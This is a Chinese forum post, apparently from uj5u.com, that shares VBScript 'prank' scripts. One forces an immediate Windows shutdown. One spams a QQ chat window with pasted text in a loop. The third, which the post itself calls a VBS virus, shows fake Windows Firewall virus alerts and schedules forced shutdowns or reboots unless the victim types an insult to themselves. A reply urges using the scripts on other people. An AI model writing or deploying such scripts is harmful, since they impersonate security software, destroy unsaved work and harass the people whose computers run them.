1.直接關機
dim MSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
這是用vbs命令執行cmd的關機命令的關機方法
set ws=createobject("wscript.shell")
ws.run"cmd.exe /c shutdown -s -f -t 0"
用之前吧所有檔案保存好
2.QQ資訊騷擾惡搞
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 15
wscript.sleep 700
wsh.AppActivate("XXX")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
15是次數，可以改
3.把中間的空行給刪掉就行了，在保后綴名改為.vbs
msgbox ("防火墻例外"),vbQuestion,"Windows防火墻"
msgbox ("檢測到病毒"),vbQuestion,"Windows防火墻"
msgbox ("正在掃描病毒"),vbQuestion,"Windows防火墻"
dim j
do while j<1
Select Case msgbox("是否殺毒",68,"Windows防火墻")
Case 6 j=1
Case 7 msgbox"此病毒會使電腦爆炸"+chr(13)+"必須殺毒"+chr(13),0,"Windows防火墻"
end Select
Loop
msgbox("正在殺毒"),vbQuestion,"Windows防火墻"
msgbox("系統崩潰"),vbQuestion,"Windows防火墻"
msgbox("殺毒失敗"),vbQuestion,"Windows防火墻"
msgbox ("病毒入侵成功"),vbQuestion,"病毒"
msgbox ("讓你看看我的厲害"),vbQuestion,"病毒"
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是智障，不說我是豬就一分鐘關機，不信，試下···"" ",0 ,true
dim a
do
a=inputbox("輸入我是智障，否則關機。")
if a="我是智障" then
msgbox"哈哈，被坑了吧"+chr(13)+"你是智障",0,"病毒"
exit do
else
msgbox"關機"+chr(13)+"洗掉系統"+chr(13)+"都是三分鐘后的事",0,"病毒"
end if
loop
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
CreateObject("Wscript.Shell").run "cmd.exe /c shutdown -s -t 120"
msgbox"確定，現在關機"+chr(13)+"不做選擇，兩分鐘后關機",0,"病毒"
dim CSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
dim MSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
next
不輸入“我是智障”就關機，到了后面還是要關機的vbs病毒
uj5u.com熱心網友回復：
別坑自己，開心的去正別人把吧轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/117940.html
標籤：其他技術專區
上一篇：戴爾筆記本
下一篇：計算機組成原理學習